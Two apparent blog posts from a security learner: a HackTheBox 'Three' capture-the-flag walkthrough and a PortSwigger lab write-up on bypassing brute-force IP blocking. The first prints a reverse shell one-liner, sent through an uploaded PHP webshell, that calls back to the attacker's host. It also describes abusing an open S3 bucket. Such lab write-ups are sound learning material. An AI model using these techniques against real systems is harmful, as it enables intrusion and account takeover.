Forem: Julia Bier

HackTheBox - Three

Julia Bier — Fri, 03 Nov 2023 05:03:51 +0000

Pwning the "Three" machine.

Even though this machine sits at the very easy difficulty, I found it to be great for introducing concepts such as domain enumeration, reverse shell, arbitrary file upload and others.

When you spawn the machine, a warning is given:

To guarantee the machine and all its services are ready, you should receive this message when connecting to the s3.thetoppers.htb address. Trying that is fruitless at first, since you should add this entrance to your local /etc/hosts file and make your OS able to resolve the address to the correct IP address. It should look like this:

Next step was running nmap -sV -vvv -Pn -p- -T5 10.129.216.192 to see which doors are open. I scanned all ports with the -T5 option just to make sure none were left behind. The result for the scan shows ports 80 and 22 open.

Reading the webpage available on port 80 gives you the answer to the first 3 tasks. The fourth one asks about a subdomain to be obtained using enumeration, which you can find by using a tool like gobuster. (The subdomain is actually mentioned in the machine description, but let's pretend it wasn't just to show what you'd do without it and learn about subdomain enumeration).

In the image you can see the parameter -w, for wordlist, receives the file names as input. This file actually contains a wordlist I took from here.

You can tell by its name that the subdomain refers to an S3 bucket. If you aren't at all familiar with AWS services, it would be good to check its documentation to understand in detail what it does. Essentially, it allows you to store files.

A well configured bucket will be only accessed if you have AWS credentials with proper authorization, but this is not the case. Use the flag --no-sign-request with the AWS CLI and you should be able to list the buckets and then its contents.

At first, I imagined a flag would be found inside the bucket, but after looking at the files in there, no flag was found. The files in the bucket are nothing but the ones being served on the website, meaning these files actually have access to the server itself. How about using a webshell to get access as well?

Looking at the files in the bucket, you see index.php, meaning PHP is the language used in this server and therefore the language our webshell has to be written in

Don't be fooled if you think a webshell is hard to implement. With a little bit of research you can find many examples, like the one above. Just make sure you read the code and what it does. In this case, the code will take the value of cmd in the $_REQUEST variable and execute it at system level. In PHP, this variable holds the data received from an HTTP request. Upload your webshell to the bucket as shown below:

You can now pass regular shell commands to this page as parameters:

You can get the root flag just by exploring the filesystem via the webshell, but let's go one step further and turn this webshell into a fully dynamic reverse shell. For that, first note the IP address your personal machine has inside the HackTheBox VPN. Then, with the command nc -lnvp 80 open the port 80 (or any other, 80 was my choice) in your personal computer. You now tell the "Three" machine to connect to this open port and direct shell output to and input from it with the command curl http://thetoppers.htb/cmd.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<your-machine-ip>/80 0>&1'".

You now have a shell running inside the server, and finding the flag is as easy as checking the flag.txt file in the parent directory.

On the joy of learning and bypassing brute-force protection

Julia Bier — Sun, 29 Oct 2023 04:26:48 +0000

In the past few months I've been going deep into the world of Cybersecurity. Learning about analysing network packets in depth, scanning networks, finding vulnerabilities and how to exploit them, among other things, has made my passion for Computer Science stronger than ever. In this half write-up half ramble post, I'll try to explain why.

The thought process starts with a lab from Portswigger Academy called Broken brute-force protection, IP block, which you can check out here. In this lab we are given a website with a weak protection against password brute-forcing and need to exploit it to find the password for a user named carlos, which is in a list that is also provided. We are also given a pair of valid credentials wiener:peter.

The login page looks like this after entering a random username and password for testing purposes:

In a regular scenario, we could just leverage Burpsuite's Intruder to iterate over the list of possible passwords while sending requests for each one. But in this case, we have some protection against this kind of brute-forcing:

After three consecutive requests with invalid login credentials, your IP is blocked for one minute. You might think it's a good idea to write a script which waits this one minute before sending another request, but that would take a very long time in any real-world scenario with a huge list of possible passwords. Remember how we are given a pair of valid credentials? The key to solving this lab is to insert requests with valid credentials in between the trial ones. This way, your IP will not be blocked no matter how many invalid requests you make.

To make this process not be repetitive and slow, I saved the possible passwords in a file called passwords.txt, and wrote these two little Python scripts:

These are very straightforward. The first one just inserts the word peter in between every password and spits it out in a new file. The result looks like this, with a total of 200 passwords:

The second script contains pretty much just two usernames, carlos and wiener, intercalated 200 times, to match the passwords.

Those two lists are used in Burp Intruder, with a request captured from the login page. Selecting the attack type pitchfork, we then have intercalating requests, being one with valid credentials followed by another one with possible passwords for carlos.

If we then run this attack, it works just fine to find the password and solve the lab. But why stop there? Reading the official solution for the lab after completing it, I saw that an extension for Burpsuite called Turbo Intruder was mentioned, and I went out to investigate it.

I then came across this amazing talk by James Kettle, the creator of the tool, in which he explains in detail how Turbo Intruder was created and how it manages to be so damn fast by leveraging the features of the HTTP header connection keep-alive (thus having many requests sent after only one Three-Way Handshake) and HTTP request pipelining (send all of your requests and only then worry about getting responses).

In the end, I implemented the solution using Turbo Intruder to apply what I had learned about the tool. It looks like this:

See how the whole process is a lot simpler than using the regular Burp Intruder. The Turbo version allows you to write Python code to handle both the requests and responses, I only needed the passwords.txt file and all the extra logic was implemented within Burp itself.

This last part, I believe, is where the real fun and learning happen. When you have finished the lab and decide to look a bit deeper into one thing or another and end up learning about a bunch of other concepts. Or when you hear about a tool and decide to look up how it was implemented, the ideas that make it be what it is and behave the way it does, or even other ways you can use it.

Exploring, playing around and testing the boundaries of the concepts you learn are the most important part of learning new things. It's what keeps the passion for the subject alive.